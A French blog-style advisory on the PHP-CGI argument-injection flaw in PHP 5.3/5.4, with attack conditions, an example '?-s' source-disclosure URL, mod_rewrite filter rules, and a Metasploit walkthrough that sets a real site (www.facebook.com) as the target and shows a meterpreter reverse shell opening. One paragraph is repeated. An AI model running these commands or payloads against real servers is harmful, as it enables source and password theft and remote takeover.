Une importante faille de sécurité pour PHP 5.3 et 5.4

Une importante faille de sécurité pour PHP 5.3 et 5.4

Une faille de sécurité assez grave vient d’être découverte dans les versions 5.3 et 5.4 de PHP. L’utilisation d’une simple requête HTTP permet d’afficher le code source de la page et éventuellement d’y retrouver les mots de passe utilisés. De quoi avoir quelques frissons dans le dos !

Faille de sécurité sur le site Facebook

1. La faille et les solutions pour la contrer

Pour pouvoir exploiter cette faille, il faut tout de même répondre aux conditions suivantes :

Utiliser une version de PHP sur le serveur inférieure à la 5.3.13 ou la 5.4.3
L’interpréteur PHP doit fonctionner en mode CGI, ce qui n’est pas le mode par défaut
La requête HTTP doit être du type Query String, commencer par le signe – et ne pas comporter de signe =
La méthode de la requête doit être soit un GET, soit un HEAD
Les modules FastCGI, mod_suphp, ainsi que le couple nginx + php-fpm ne sont pas concernés

Si vous ne savez pas dans quel mode est configuré votre serveur Apache, sachez qu’une configuration en mode CGI ressemble à quelque chose comme ça :

Options +ExecCGI
AddHandler php5-cgi .php

Voici un exemple de requête qui permet de lancer une attaque. Ici, on utilise le paramètre -s qui permet de forcer l’affichage du code source :

http://victime.fr/index.php?-s

Pour corriger cette faille, il existe aujourd’hui deux méthodes. La première consiste tout simplement à mettre à jour PHP. La seconde est la mise en place de règles pour mod_rewrite qui permettent de filtrer les requêtes malicieuses. Voici un exemple de configuration à utiliser :

http://victime.fr/index.php?-s

Pour corriger cette faille, il existe aujourd’hui deux méthodes. La première consiste tout simplement à mettre à jour PHP. La seconde est la mise en place de règles pour mod_rewrite qui permettent de filtrer les requêtes malicieuses. Voici un exemple de configuration à utiliser :

RewriteCond %{QUERY_STRING} ^[^=]*$
RewriteCond %{QUERY_STRING} %2d|\- [NC]
RewriteRule .? - [F,L]

2. Le module pour Metasploit

Un module pour Metasploit est déjà disponible et il se nomme “php_cgi_arg_injection”. Celui-ci utilise le paramètre -d qui permet de modifier le comportement d’une page PHP dynamiquement, pour ouvrir un shell à distance. Voici un exemple d’utilisation :

 

# cd metasploit && svn up
 # ./msfconsole -n
 msf > use exploit/unix/webapp/php_cgi_arg_injection
 msf > info
 msf > set RHOST www.facebook.com
 msf > set RPORT 80
 msf > set TARGETURI /
 msf > show payloads
 msf > set PAYLAOD php/meterpreter/reverse_tcp
 msf > set LHOST 192.168.1.101
 msf > set LPORT 4444
 msf > exploit

[*] Started reverse handler on 192.168.1.101:4444
“/?-d+allow_url_include%3dtrue+-d+auto_prepend_file%3dphp://input”
[*] Sending stage (38791 bytes) to 192.168.1.100
[*] Meterpreter session 1 opened (192.168.1.101:443 ->
192.168.1.100:57139)
at 2012-05-03 18:42:39 -0400

meterpreter > getuid
Server username: www-data (33)

Certains hackers risquent de s’en donner à cœur joie avec tout ça…

 

 

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée.

* Copy This Password *

* Type Or Paste Password Here *